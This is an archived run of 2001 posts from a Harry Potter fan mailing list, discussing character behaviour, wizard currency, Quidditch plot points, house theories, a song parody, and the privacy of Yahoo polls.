In-Reply-To: <00c101c143f6$f81499c0$dcc71bce@hppav>
Message-ID: <20010924013534.37670.qmail@web20810.mail.yahoo.com>

No: HPFGUIDX 26582



--- Eric Oppen <oppen at cnsinternet.com> wrote:

> I actually thought that Harry and Ron were right in
> character for boys of
> the age they were at the Yule Ball.  Most boys that
> age aren't wildly
> interested in dating quite yet; their female
> age-mates are, but are usually
> interested in boys a few years older than
> themselves, due to the differing
> maturation rates between males and females.  

    Harry apparently considered his duty done after
one dance, his behavior was due to inexperience and
forgivable. *Ron* on the other hand paid no attention
to his partner at all, barely even looked at her. Even
a fourteen year old boy should have known better than
that! but he was too busy being jealous of Hermione.

> As Ron and Harry get older, their dating technique
> will no doubt improve.
> Also, there is nothing about being female that
> automatically gives
> cluefulness about how to treat a partner on a
> date---

   Too true. Look at Fleur Delacour; admittedly she
might have been taken aback at being asked out by a
boy several years younger than herself who she's never
so much as spoken to but it wouldn't have hurt her to
give him a civil 'no' now would it? 


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From kristen at sanderson-web.com  Mon Sep 24 01:44:32 2001
From: kristen at sanderson-web.com (kristen at sanderson-web.com)
Date: Mon, 24 Sep 2001 01:44:32 -0000
Subject: Happiness/Future Divination Classes
In-Reply-To: <9okhs4+4hma@eGroups.com>
Message-ID: <9om360+he50@eGroups.com>

No: HPFGUIDX 26583

--- In HPforGrownups at y..., blpurdom at y... wrote:
>  
> Lily and James would be able to have a peaceful hereafter, IMO, 
> because they knew that at the end of their lives they had done 
> everything in their power to protect their son.  If one believes 
that 
> they also "saw" somehow what happened when Voldemort tried to kill 
> Harry, that, if anything, would be likely to increase whatever 
> general contentment their spirits might have and speed them on 
their 
> way with the knowledge that Harry was all right and that their 
> sacrifice (specifically Lily's) was for the greater good, as 
> Voldemort was rendered powerless.
> 
> On a slightly related note, one wonders whether JKR will persist in 
> having Harry and Ron study Divination.  If they do continue with 
> Trelawney, perhaps she will try having them do seances.  One 
imagines 
> Harry would be very anxious to communicate with his parents...or 
> would he?  Any thoughts?
> 
> --Barb

:)  She might try to involve them in a seance, but I can't imagine 
her being any better at that than she is at regular divination. :)  
In his fourth year Harry "saw" way more than she did.  At least in 
GoF he sees a lot of what's going on - is that his scar or the gift 
of "sight"?  I don't know.  




From rowena_grunnion_ffitch at yahoo.com  Mon Sep 24 01:47:06 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sun, 23 Sep 2001 18:47:06 -0700 (PDT)
Subject: On the Subject of Money
In-Reply-To: <20010924013534.37670.qmail@web20810.mail.yahoo.com>
Message-ID: <20010924014706.53796.qmail@web20804.mail.yahoo.com>

No: HPFGUIDX 26584

   Does anybody have any idea how Galleons compare to
pounds/dollars?
   We know ten galleons aren't much for a weeks' work
but on the other hand are probably a generous amount
for a birthday present...and a wand, a fairly
expensive item one would think, costs seven galleons....

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From cynthiaanncoe at home.com  Mon Sep 24 02:30:00 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 24 Sep 2001 02:30:00 -0000
Subject: Why Does Krum Catch The Snitch?
In-Reply-To: <3BAE7E07.E880AEDF@erols.com>
Message-ID: <9om5r8+guk9@eGroups.com>

No: HPFGUIDX 26585

> cynthiaanncoe at h... wrote:
>  
> > But why does Krum catch the snitch when he knows, or ought to 
know,
> > that Bulgaria would lose if he did it?  We have seen Harry hold 
other
> > seekers off of the snitch when he knows his team doesn't have the
> > points to win.  JKR must have something in mind here, but I must
> > admit that I have completely missed it.
> > 
> > Can someone straighten me out, please?
> 
Then Margaret Dean wrote:
> It's Harry himself who explains it, after Ron asks, "What did he
> catch the Snitch for?"
> 
> 	"He knew they were never going to catch up!" Harry
> 	shouted back over all the noise, also applauding
> 	loudly.  "The Irish Chasers were too good....  He
> 	wanted to end it on his terms, that's all...."
> 
> 

That's it?  I saw this explanation, but I dismissed it as 
misdirection or something.  I fully expected it to reveal a key part 
of Krum's character that would recur at some point in GoF.  I waited, 
and waited and waited and . . . nothing ever came of it.  

The expanation didn't seem very convincing because we had been told 
that Quiddich World Cup matches can go on for 5 days.  If Krum just 
hung in there for a day or two . . . well, you never know what might 
happen.  Also, we saw in a previous book that when a team 
(Slytherins) fell behind, they played dirty to catch up.  I don't 
understand why Krum would just surrender the fortunes of the team 
like this.

Was anyone else troubled by this ending to the World Cup Match?  

Cindy




From saitaina at wizzards.net  Mon Sep 24 02:44:12 2001
From: saitaina at wizzards.net (Saitaina)
Date: Sun, 23 Sep 2001 19:44:12 -0700
Subject: [HPforGrownups] Re: Why Does Krum Catch The Snitch?
References: <9om5r8+guk9@eGroups.com>
Message-ID: <011401c144a2$cbb1c360$0f4e28d1@oemcomputer>

No: HPFGUIDX 26586

It was doen this way so F&G WOULD win they're bed hence they're secrecy after bagman reneged and the plot points around Bagman. Without that Bagman wouldn't have been trying to get Harry to win the tourmoment and there wouldnt' be any mis-direction in regards to who was the DE at Hogwarts.


Saitaina
*****
There were a surprising number of demons that glowed-in-the-dark. There were also a surprising number of demons named Bob. Xander didn't want to know why. -"Tiny Smiles", by Saber ShadowKitten, Buffy fanfic

"I kill mortals, I don't feed them," Death said with a hint of disgust. -"The Dark Cavalier", by Saber ShadowKitten, Buffy Fanfic

On a hellmouth, most of the time the demons killed the humans, demon hunters killed the demons, and a Collector stood around scratching his ass with his scythe. -"The Dark Cavalier", by Saber ShadowKitten, Buffy fanfiction


"Invisible, naked glowing people's opinions don't count," Xander mumbled, rounding the car to the passenger side. "Especially someone who is probably a figment of my concussed imagination." 
-Xander, "Cricket", by Saber ShadowKitten, Buffy Fanfiction


[Non-text portions of this message have been removed]




From litalex at yahoo.com  Mon Sep 24 02:47:12 2001
From: litalex at yahoo.com (Alexandra Y. Kwan)
Date: Mon, 24 Sep 2001 10:47:12 +0800
Subject: [HPforGrownups] Re: Why Does Krum Catch The Snitch?
References: <9om5r8+guk9@eGroups.com>
Message-ID: <005501c144a3$373d3240$c706bacb@hal9000>

No: HPFGUIDX 26587

Hello,

From: <cynthiaanncoe at home.com>
> happen.  Also, we saw in a previous book that when a team
> (Slytherins) fell behind, they played dirty to catch up.  I don't
> understand why Krum would just surrender the fortunes of the team
> like this.

Perhaps Krum, unlike the Slytherin Quidditch team, is actually an honorable
man <g>.  I think it already said a lot about his character that he'd rather
lose valiantly than win desperately.

little Alex


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From animalsbaby_1999 at yahoo.com  Mon Sep 24 02:54:52 2001
From: animalsbaby_1999 at yahoo.com (laura hickman)
Date: Sun, 23 Sep 2001 19:54:52 -0700 (PDT)
Subject: [HPforGrownups] Re: Why Does Krum Catch The Snitch?
In-Reply-To: <005501c144a3$373d3240$c706bacb@hal9000>
Message-ID: <20010924025452.97506.qmail@web20002.mail.yahoo.com>

No: HPFGUIDX 26588

I agree, plus later in the GF, Krum is seen being
wonderful to Hermonie and also trying to see Harry as
an equal, which also makes you realize that Harry has
a lot to learn about his past and future.  Plus, we
might see more of Krum in future books since we have
already learned from interviews w/ JKR that other
characters from GF are coming back, so who knows about
Krum... maybe he will come back as a coach in book 5,6
or 7!!!!
It might be nice to see Ron get jealous of someone
besides Harry!  :)
--- "Alexandra Y. Kwan" <litalex at yahoo.com> wrote:
> Hello,
> 
> From: <cynthiaanncoe at home.com>
> > happen.  Also, we saw in a previous book that when
> a team
> > (Slytherins) fell behind, they played dirty to
> catch up.  I don't
> > understand why Krum would just surrender the
> fortunes of the team
> > like this.
> 
> Perhaps Krum, unlike the Slytherin Quidditch team,
> is actually an honorable
> man <g>.  I think it already said a lot about his
> character that he'd rather
> lose valiantly than win desperately.
> 
> little Alex
> 
> 
>
_________________________________________________________
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> Get your free @yahoo.com address at
> http://mail.yahoo.com
> 
> 


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From sgallag4 at hotmail.com  Mon Sep 24 03:28:48 2001
From: sgallag4 at hotmail.com (sgallag4 at hotmail.com)
Date: Mon, 24 Sep 2001 03:28:48 -0000
Subject: On the Subject of Money
In-Reply-To: <20010924014706.53796.qmail@web20804.mail.yahoo.com>
Message-ID: <9om99g+9r8p@eGroups.com>

No: HPFGUIDX 26589

rowena_grunnion_ffitch at y...> wrote:
>    Does anybody have any idea how Galleons compare to
> pounds/dollars?


In an on-line interview, JKR stated that a galleon was worth 
approximately five pounds (but varied according to exchange markets).  
This would make one galleon worth between $7.00 and $7.50, depending on 
how the dollar fares in the international market.

--Suz, who sadly has too few galleons, pounds and dollars;)





From coriolan at worldnet.att.net  Mon Sep 24 04:17:18 2001
From: coriolan at worldnet.att.net (Caius Marcius)
Date: Mon, 24 Sep 2001 04:17:18 -0000
Subject: Over on Privet Drive (filk)
Message-ID: <9omc4e+s9dm@eGroups.com>

No: HPFGUIDX 26590

Over on Privet Drive 

(To the tune of On the Street Where You Live, from My Fair Lady)

Dedicated to Susan Hall

THE SCENE:  A glorious summer day on Privet Drive. Enter VERNON 
DURSELY

VERNON
Though I love to be out there selling drills
Once I'm homeward bound I feel a more compelling thrill 
When I see that "Four" in brass on our door
Over on Privet Drive where we live

As a member of this community
I indulge my pettiness with sheer impunity
It's like Roald Dahl meets suburban sprawl
Over on Privet Drive where we live

And, oh, that empowering feeling
To know Dud will augment my rule
But oh that cowering feeling
If Marge should chance to find there's no Saint Brutus school

People stop and stare, sure that bothers me
If they think for one moment I'd Harry's father be
Hope he'll disappear in a few more years
It will be Privet Drive that he'll leave

     -	CMC

HARRY POTTER FILKS 
http://home.att.net/~coriolan/hpfilks.htm 





From catlady at wicca.net  Mon Sep 24 04:53:14 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Mon, 24 Sep 2001 04:53:14 -0000
Subject: On the Subject of Money
In-Reply-To: <20010924014706.53796.qmail@web20804.mail.yahoo.com>
Message-ID: <9ome7q+5v6o@eGroups.com>

No: HPFGUIDX 26591

--- In HPforGrownups at y..., Rowena Grunnion-Ffitch 
<rowena_grunnion_ffitch at y...> wrote:
>    Does anybody have any idea how Galleons compare to
> pounds/dollars?

JKR said that a Galleon is worth five pounds (around seven 
dollars), which correlates with the values stated in Dumbledore's 
prefaces to the textbooks as to how much money Comic Relief has 
raised for charity, but doesn't correlate with most of the other 
references to money in canon. The other references all make 
more sense if a Galleon is in the $25 to $40 range.




From CollectiveSIAS at aol.com  Mon Sep 24 05:14:11 2001
From: CollectiveSIAS at aol.com (CollectiveSIAS at aol.com)
Date: Mon, 24 Sep 2001 01:14:11 EDT
Subject: [HPforGrownups] Re: Education - Animagus - Lupin - Happiness - Fan of Harry
Message-ID: <cb.16991f86.28e01b23@aol.com>

No: HPFGUIDX 26592

In a message dated 9/23/01 3:57:56 AM Eastern Daylight Time, 
mellienel2 at yahoo.com writes:


> Just that magic children generally don't go to school until they're 
> 11. :-)

ohh I see  ::: rubbing sleep from eyes:::
Homeschooled muggles  often have co-ops where many families gather together 
in  groups and parents will often teach or demonstrate a skill or subject 
that they are proficient at.  The idea of a 'teachers' head in the  fireplace 
is a great example (but without the socialization issue that some people  
stress is all important)
Jenna:) still trying to get the hang of post combining


[Non-text portions of this message have been removed]




From CollectiveSIAS at aol.com  Mon Sep 24 05:45:36 2001
From: CollectiveSIAS at aol.com (CollectiveSIAS at aol.com)
Date: Mon, 24 Sep 2001 01:45:36 EDT
Subject: [HPforGrownups] ATTENTION! New database. Ruddy good one too, perhaps.
Message-ID: <81.10872b08.28e02280@aol.com>

No: HPFGUIDX 26593

In a message dated 9/23/01 9:34:43 PM Eastern Daylight Time, 
usergoogol at yahoo.com writes:


> J.K.R.O.W.L.I.N.G. 


Ok  I had to add mine  .......

just
keep 
reading 
other 
worldly
literature
in 
night 
gowns


Jenna ::laughing in nightgown and wondering how many members !::


[Non-text portions of this message have been removed]




From catherine at cator-manor.demon.co.uk  Mon Sep 24 08:14:43 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Mon, 24 Sep 2001 08:14:43 -0000
Subject: Over on Privet Drive (filk)
In-Reply-To: <9omc4e+s9dm@eGroups.com>
Message-ID: <9omq1j+upmo@eGroups.com>

No: HPFGUIDX 26594

--- In HPforGrownups at y..., "Caius Marcius" <coriolan at w...> wrote:
> Over on Privet Drive 
> 
> (To the tune of On the Street Where You Live, from My Fair Lady)
> 
> Dedicated to Susan Hall


Oh, this was brilliant, Caius.  I saw the National Theatre production 
of MFL recently and had the same idea for On the Street Where You 
Live - only I had it set at Hogwarts and it was about the quidditch 
pitch with Harry and Cedric upset at the state of it when the maze 
growing there.  Needless to say, I didn't think it was good enough to 
post!

Started off something like:
We have often flown round this pitch before,
But it's never been in such an awful state before...
Lame, I know, never mind....

Have you thought about Just You Wait, Professor Higgins?  (Just you 
wait, Harry Potter, Just you wait.."   Or, "You'll be next, Harry 
Potter, you'll be next..."  This seems to me to have infinite 
possibilities!

Catherine




From polterchair at yahoo.ca  Mon Sep 24 08:59:47 2001
From: polterchair at yahoo.ca (Rain Tor)
Date: Mon, 24 Sep 2001 04:59:47 -0400 (EDT)
Subject: [HPforGrownups] Lily Potter was a slytherin
In-Reply-To: <9o66fs+h3ar@eGroups.com>
Message-ID: <20010924085947.98908.qmail@web13605.mail.yahoo.com>

No: HPFGUIDX 26595

My theory:

Lily Potter was a Slytherin. 

1. to my knowledge no mention is made of Lily's house,
unlike Dad's

2. She comes from a nasty family

3. Snape - Lily - James love triangle???

Too tired to wite more on it. But what does everyone think?

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From cassandraclaire at mail.com  Mon Sep 24 09:20:45 2001
From: cassandraclaire at mail.com (cassandraclaire at mail.com)
Date: Mon, 24 Sep 2001 09:20:45 -0000
Subject: In Defense of Hermione
In-Reply-To: <20010923023929.29714.qmail@web20807.mail.yahoo.com>
Message-ID: <9omttd+mlok@eGroups.com>

No: HPFGUIDX 26596

--- In HPforGrownups at y..., Rowena Grunnion-Ffitch <>    A little 
better. But take her House-Elves rights
> campaign, she's going strong at it for months before
> she even bothers to talke to some House-elves and find
> out what *they* think. 
>    I believe Hermione is guilty of projecting human
> needs and aspirations on non-humans. Maybe House-elves
> are brainwashed, or maybe they really do have very
> different emotional needs. I suggest Hermione find out
> which it is before she starts her crusade.


*blinks.* Perhaps she is that, but she is young, and idealistic. 
Whether or not she approaches her crusade from the correct angle, her 
impulses are born out of empathy and a good heart. No one can say she 
wants to improve the lot of house-elves for selfish motives. I'll 
take even Hermione's possibly misdirected idealism over Ron's "They 
like it like that" apathy any day.


R: I agree she's a bit insecure, what eleven year old
> wouldn't be going off to a totally unknown enviroment
> for the first time? But being a know-it-all is not the
> way to gain friends and one would think she'd know
> that.

I don't see why the poor kid would know that -- she's only eleven, 
and hasn't mastered social skills. Many of us were like that once. 
*Pats Hermione.* It doesn't mean she doesn't have feelings -- Ron's 
comment that no one can stand her because she's a nightmare reduces 
her to tears.

  
Ebony: "The wrong best friend mooning over her (Hermione)"
R: "'Wrong best friend'? who says Hermione wants Harry"

Ah, somebody who doesn't know that Ebony is the co-captain of the SS 
H/H along with Penny? *ducks* Right-O, no ship discussions.

R"or Ron either for that matter"

Now there I'm in agreement.

Cassie




From heidi.h.tandy.c92 at alumni.upenn.edu  Mon Sep 24 09:28:19 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (heidi.h.tandy.c92 at alumni.upenn.edu)
Date: Mon, 24 Sep 2001 05:28:19 EDT
Subject: [HPforGrownups] Lily Potter was a slytherin
Message-ID: <ce.1ad30c8d.28e056b3@aol.com>

No: HPFGUIDX 26597

In a message dated 9/24/01 5:00:13 AM Eastern Daylight Time, 
polterchair at yahoo.ca writes:


> 
> Lily Potter was a Slytherin. 
> 
> 1. to my knowledge no mention is made of Lily's house,
> unlike Dad's
> 
> 2. She comes from a nasty family
> 
> 3. Snape - Lily - James love triangle???
> 
> 

JKR said in an interview that Lily was in Gryffindor "naturally".
Source - http://www.scholastic.com/harrypotter/author/transcript2.htm


[Non-text portions of this message have been removed]




From klhurt at yahoo.com  Mon Sep 24 11:43:34 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Mon, 24 Sep 2001 04:43:34 -0700 (PDT)
Subject: [HPforGrownups] Re: Passwords + Snape a Pure-bloodist
In-Reply-To: <9olq0c+2egq@eGroups.com>
Message-ID: <20010924114334.54044.qmail@web14205.mail.yahoo.com>

No: HPFGUIDX 26598


I wrote:

>>Even if prefect set it, I don't
>>believe he/she would choose a
>>password like 'pure-blood' unless
>>he/she knew for sure the Head of
>>House would be okay with it.

dasienko at email.com responded thusly:

>The HoH may not even know the changing
>passwords. Any professor may have to
>get into any of the houses, so that
>there must be a "skeleton" password
>for all faculty members.

To which, I reply:

I'm afraid I have to completely disagree with this theory. Since
McGonagall herself *very* rarely enters the Gryffindor common room  --
Harry comments on this -- I just can't believe other professors would
EVER have reason.

I stand firm:  the Slytherin password proves (to me, at least) that
Snape is a pure-bloodist at heart.

Kelly the Yarn Junkie

=====
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From frances at forever.u-net.com  Mon Sep 24 11:46:12 2001
From: frances at forever.u-net.com (frances at forever.u-net.com)
Date: Mon, 24 Sep 2001 11:46:12 -0000
Subject: Lily Potter was a slytherin
In-Reply-To: <ce.1ad30c8d.28e056b3@aol.com>
Message-ID: <9on6e4+29at@eGroups.com>

No: HPFGUIDX 26599

> > Lily Potter was a Slytherin. 
> > 
> > 2. She comes from a nasty family
> > 
Petunia clearly states in PS/SS that she thought Lily was a freak, but 
"But for my mother and father, oh no, it was Lily this and Lily that, 
they were proud of having a witch in the family!"

So I don't think the Evens can be classed as a nasty family!

Frances





From dfrankiswork at netscape.net  Mon Sep 24 12:54:01 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Mon, 24 Sep 2001 12:54:01 -0000
Subject: Why Does Krum Catch The Snitch?
In-Reply-To: <9om5r8+guk9@eGroups.com>
Message-ID: <9onad9+fc3r@eGroups.com>

No: HPFGUIDX 26600

Cindy wrote:

> > > But why does Krum catch the snitch when he knows, or ought to 
> know,
> > > that Bulgaria would lose if he did it?  We have seen Harry hold 
> other
> > > seekers off of the snitch when he knows his team doesn't have 
the
> > > points to win.  JKR must have something in mind here, but I must
> > > admit that I have completely missed it.

> Then Margaret Dean:
> > > > 
> > 	"He knew they were never going to catch up! He
> > 	wanted to end it on his terms, that's all...."

and Cindy again:

> That's it?  I saw this explanation, but I dismissed it as 
> misdirection or something.  I fully expected it to reveal a key
> part of Krum's character that would recur at some point in GoF.  

Me likewise.  At the end of GOF, I decided that it was meant to 
signal that Krum, while very good at catching small balls in mid-air, 
is, er, well, not very bright, and that this is signalling something 
about how soon Hermione will decide that they aren't going to get 
very far together.

David




From borg3892000 at yahoo.com  Mon Sep 24 13:37:47 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Mon, 24 Sep 2001 13:37:47 -0000
Subject: Work after Hogwarts?
In-Reply-To: <4.2.0.58.20010921130934.00a853f0@mail.mcn.org>
Message-ID: <9oncvb+dd18@eGroups.com>

No: HPFGUIDX 26601

I think www.hpgalleries.com has all of the links.  Sometimes it's 
tough to find a specific link though.

--- In HPforGrownups at y..., Catherine Keegan <keegan at m...> wrote:
> At 10:47 AM 9/21/01 -0700, you wrote:
> >--- Catherine Keegan <keegan at m...> wrote:
> > >  but I can't help but wonder> if there are Wizard  > colleges.  
It 
> > seems like some of the jobs would> require a lot more > education 
and training.
> >
> >     According to the Lexicon page JKR has said there
> >are no Wizard Colleges yet there are obviously levels
> >of Wizardry beyond what is taught at Hogwarts so how
> >does one get advanced training in Alchemy, Defense
> >Against The Dark Arts, or whatever?
> 
> Is there a pointer to the interview?  I've caught a few of the JKR 
talks 
> here and there, mostly on Scholastic's very cute web site, but I've 
missed 
> most of them.  Is there a collection of them some place?  I'd like 
to see 
> what I've missed.
> 
> >My guess is by becoming the student/assistant to a Master Wizard 
in the 
> >desired field, (up to the 19th
> >century it was possible to study law and medicine with 
practicioner rather 
> >than at a college).
> 
> So, it sounds like there's an apprentice system working.  Quite 
reasonable 
> since so many things seem stuck in the 19th to early 20th century - 
the 
> Hogwarts Express springs to mind.
> 
> Thanks for the insight.
> 
> Catherine in California
> Albion Works
> Furniture, Clothing, and Accesories
> For the Medievalist!
> www.albionworks.net




From borg3892000 at yahoo.com  Mon Sep 24 13:52:29 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Mon, 24 Sep 2001 13:52:29 -0000
Subject: ADMIN: Privacy issues
In-Reply-To: <16a.1419b04.28dcfb3c@aol.com>
Message-ID: <9ondqt+53fm@eGroups.com>

No: HPFGUIDX 26602

I fail to see how my response was being "bitchy with the 
moderators".  At the most, I was being peeved with yahoo, as well as 
myself for relaxing.

What are we afraid of, you ask?  How about a situation such as 
egghead.com, where they sold their customer information to another 
company for whatever use they wanted?  How about one of the 
netherland countries that recently sold the rights of EVERYONE'S 
genetic information to a single company?

Do you really think information isn't abused?  I don't want to start 
a flame, but you are naive if you believe that the information you 
posted on a public board is safe and won't be used.

It doesn't matter whether I am ashamed of my political, sexual, or 
religious beliefs or not.  It's a matter of privacy.

"If you aren't hiding something, then why are you afraid to let me 
search your house?"

Constant Vigilance.


--- In HPforGrownups at y..., lotusmoondragon at a... wrote:
> In a message dated 9/21/2001 3:47:02 PM Eastern Daylight Time, 
> borg3892000 at y... writes:
> 
> 
> > This is just ducky.
> > 
> > So any response we have made to these polls is now freely 
available 
> > to Yahoo for any purpose they want.
> > 
> > I can't find anything in the polls help that describes how to 
unvote. 
> > Deleting my user account might do it though.
> 
> Normally, I'm pretty quite about this, but I just have to ask - 
What the hell 
> are you all afraid of??
> 
> I for one I am neither ashamed of my religion (Wicca), my sexuality 
> (bi-sexual) nor my political inclination (moderate tending left). 
And of what 
> use is to Yahoo anyway? Even if they do have the information, how 
the hell 
> would they use it?
> 
> Lighten up, folks. And stop getting all bitchy with the moderators. 
They do a 
> great job.
> 
> Love,
> Lotus
> 
> 
> [Non-text portions of this message have been removed]




From borg3892000 at yahoo.com  Mon Sep 24 13:58:33 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Mon, 24 Sep 2001 13:58:33 -0000
Subject: Opinion on 10 big mysteries
In-Reply-To: <9og9d2+pbsi@eGroups.com>
Message-ID: <9one69+45h5@eGroups.com>

No: HPFGUIDX 26603

--- In HPforGrownups at y..., blpurdom at y... wrote:
> --- In HPforGrownups at y..., borg3892000 at y... wrote:
> > --- In HPforGrownups at y..., "Mindy C.L." <mindyatime at j...> wrote:
> > > y no m wrote on Wednesday in regards to Lupin sleeping on the 
> train:
> > > 
> > > "Also, curious fact, on September 1, 1993 (real date), there 
was 
> a full moon. ^^ Maybe moons move differently in the Wizarding 
world."
> > > 
> > > That's probably why he was sleeping... Doesn't the Wolfsbane 
> > > potion make him harmless and asleep? Aw, but then he looks like 
a 
> > > wolf? I dunno. I'm confused too.
> > > 
> > He didn't turn into a werewolf until moonlight actually fell on 
him 
> > when they came out from the secret passage.  I don't think the 
moon 
> > had *just* risen.  I would have thought that he would have turned 
> > into a wolf earlier that night.  The moon might not have been out 
> > when HP and gang first went into the passage, but I'm pretty sure 
> > it was night.  He should have changed while they were all in the 
> > shack.
> 
> September 1 was when they were going to Hogwarts on the train, 
which 
> leaves King's Cross at 11 am.  The moon may or may not have been up 
> at that time--one does frequently see the moon in the sky during 
the 
> day.  Is anyone so thoroughly up on werewolf lore that you know 
> whether a werewolf supposedly transforms when the sun AND the moon 
> are up at the same time?  Or is it JUST when the moon is up, with 
no 
> sun?  Sometimes moonrise and moonset are during daylight hours 
> entirely.  
> 
> The questions to ask about September 1, 1993 are:
> 
> 1) When is moonrise, and is the sun still up?
> 2) When is moonset, and is the sun still up?  (And does it matter?)
> 3) And, for those whose PoA books are at hand (instead of off being 
> read by a 7-year-old and an 8-year-old), was Lupin at the welcoming 
> feast that evening, or did he mysteriously disappear?
> 
> --Barb

It's full dark when they arrive at the station. In fact, it is dark 
when they are stopped by the Dementors.  I seem to recall that when 
the Dementors stop the train, all the lights go out.  Lupin has to 
create a light for anyone to see.  This suggests that either it is 
extremely overcast, or it's evening.

I do remember that Lupin was at the feast.  The chapter described 
Lupin's robe in comparison to the rest of the faculty.  (I just read 
the books again recently.)

When is sundown in Scotland?  I had the impression from the books 
that they generally arrived after sundown.  In cos, it was night.  In 
ss, I don't remember.  The trailers, if I recall, show it being after 
sundown.




From diagonalley_ at hotmail.com  Mon Sep 24 14:33:25 2001
From: diagonalley_ at hotmail.com (Ali Wildgoose)
Date: Mon, 24 Sep 2001 10:33:25 -0400
Subject: Snape a pure blood-ist?
Message-ID: <F57w4RAENA9FUDGyIXY00005843@hotmail.com>

No: HPFGUIDX 26604


> > Even if prefect set it, I don't believe he/she would choose a
>password
> > like 'pure-blood' unless he/she knew for sure the Head of House
>would
> > be okay with it.

Yes, but this doesn't mean that Snape actually BELIEVES in the whole pure 
blood superiority thing.  All it means is that he feels the need for others 
to THINK he does.  After all, he wouldn't be a very good Death Eater spy if 
he went around coddling mudbloods, would he?

Ali

http://home.nyu.edu/~amw243 :: Diagon Alley
Harry Potter for Slightly Older Folk

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From dfrankiswork at netscape.net  Mon Sep 24 14:33:19 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Mon, 24 Sep 2001 10:33:19 -0400
Subject: Cutting Ron A Break...; Baldrick
Message-ID: <54F8D26F.58933064.6E93A4F5@netscape.net>

No: HPFGUIDX 26605

Cutting Ron a break...

and other schabby stuff

When this debate opened up again I had a quick look at Neil's Ron FAQ.  Reading between the lines, it looks as if the pro- and anti-Ron debate was almost as intense - and as unsatisfactory in its conclusion - as the original argument between Harry and Ron.

I think the issues arise because of a) the point of view we bring to the debate and to a lesser extent  b) how we see ourselves in that POV.

I would suggest four main points of view on Harry and Ron's argument in GOF:

1. Harry's
2. Ron's
3. A judge adjudicating right and wrong between the two
4. A detached observer of human behaviour (my favoured POV, most of the time)

POV 4 tends not to get into the debate (except as it provides interesting material for detached observation of HPfGU listies, but that's another story) as the justice of the situation is not the prime concern.

As to the others:

Harry's POV.  If you adopt this (the most natural, thanks to JKR's skills), there are two main responses:

i) I have high standards for my own behaviour, and Harry isn't doing everything I would try to do in the situation to help Ron find a way out of the corner he has painted himself into, and 

ii) I feel for Harry, and angry with Ron for being so unfair.

Ron's POV.  I think broadly the symmetrically opposite responses apply.  But it takes more work to get into Ron's POV, for the obvious narrative reasons, so those who have achieved it feel their efforts should be respected.

The judge POV.  This POV tends to find some absolute way of evaluating their behaviour - Ron accused Harry of lying, for example, and this is a bad way to behave.  The fact that I personally dislike this POV doesn't prevent me sometimes adopting it.

In our discussions the problems arise when people come from different POV.  Someone who takes the Harry (i) view above will tend to criticise Harry, while a Judge will probably find more wrong with Ron.  The statements that each makes will seem to make sense in the POV of the other, but there will be no actual meeting of minds.  Each will be right in the answers they give to the questions they implicitly pose, but they are answering different questions: What could Harry have done better? and Who is in the right?

I believe (without being exactly sure how) that something similar leads to the IMO rather strange view that if you are pro-Ron you must somehow be anti-Hermione.  Not a view that any of the trio themselves would understand.

I realise that once all this brushwood has been cleared away there is still an issue for some listies about the way Ron's character is developing - is he going to take umbrage every time he's put in a situation he doesn't like?  Personally, I find the last chapter of GOF encouraging: Ron struggles, with partial success, to overcome his gut reactions to Fleur and Krum.  Also (putting myself in the POV of a non-existent close friend of the trio), I trust Hermione's judgement that she wants to remain a friend of Ron's.

A final question: one POV missing from the above is Hermione's.  Is there anything she could have done to help, other than what she did do? Or do you think she was too soft on the boys, and that people who behave badly should be treated to the cold shoulder?

Combining posts...

Rita: 
>Dumbledore COULD change it to a baldrick because what the Mirror shows doesn't have to be true.

Now *there's* a crossover waiting to be written!  "My Lord Voldemort, I have a Cunning Plan" "Wormtail, if it's like the last one it'll be as about as useful as a styptic pencil at a gathering of vampires.  All right, let's have it then."  "We could find a faithful death eater, get him to Hogwarts in disguise, get him to kidnap Harry Potter in the middle of the third Triwizard Task, and use Potter to revive you." "Wormtail, of all the stupid ideas you have had, I think that if you were to enter that idea for the Grand Stupid Prize of Stupiditistan, it would knock all the other entries into bits so tiny you would have to get your little microscope out to find them." and so on

David


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From rowena_grunnion_ffitch at yahoo.com  Mon Sep 24 15:16:17 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Mon, 24 Sep 2001 08:16:17 -0700 (PDT)
Subject: [HPforGrownups] Snape a pure blood-ist?
In-Reply-To: <F57w4RAENA9FUDGyIXY00005843@hotmail.com>
Message-ID: <20010924151617.39220.qmail@web20803.mail.yahoo.com>

No: HPFGUIDX 26606



--- Ali Wildgoose <diagonalley_ at hotmail.com> wrote:

> Yes, but this doesn't mean that Snape actually
> BELIEVES in the whole pure 
> blood superiority thing.  All it means is that he
feels the need for others 
> to THINK he does.  After all, he wouldn't be a very
> good Death Eater spy if 
> he went around coddling mudbloods, would he?

    This is a very good point. I don't doubt Snape's
detestation for Harry is perfectly genuine, (and
perhaps slightly pathological) but does he really like
Malfoy that much - or does he have ulterior motives
for favoring him?
   It is clear Snape has kept up his social
connections with other former Death Eaters, it is
important for him to retain their confidence so he'll
be included in any plots or plans which means he has
to behave the way they expect him too. This would
include favoring their children and going along with
their exclusionary ideology.
   It does however seem unlikely Dumbledore would
trust Snape if he really was a pure-bloodist.

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From borg3892000 at yahoo.com  Mon Sep 24 15:26:13 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Mon, 24 Sep 2001 15:26:13 -0000
Subject: Why Does Krum Catch The Snitch?
In-Reply-To: <9onad9+fc3r@eGroups.com>
Message-ID: <9onjal+et98@eGroups.com>

No: HPFGUIDX 26607

--- In HPforGrownups at y..., dfrankiswork at n... wrote:
<snip>
> Me likewise.  At the end of GOF, I decided that it was meant to 
> signal that Krum, while very good at catching small balls in mid-
air, 
> is, er, well, not very bright, and that this is signalling 
something 
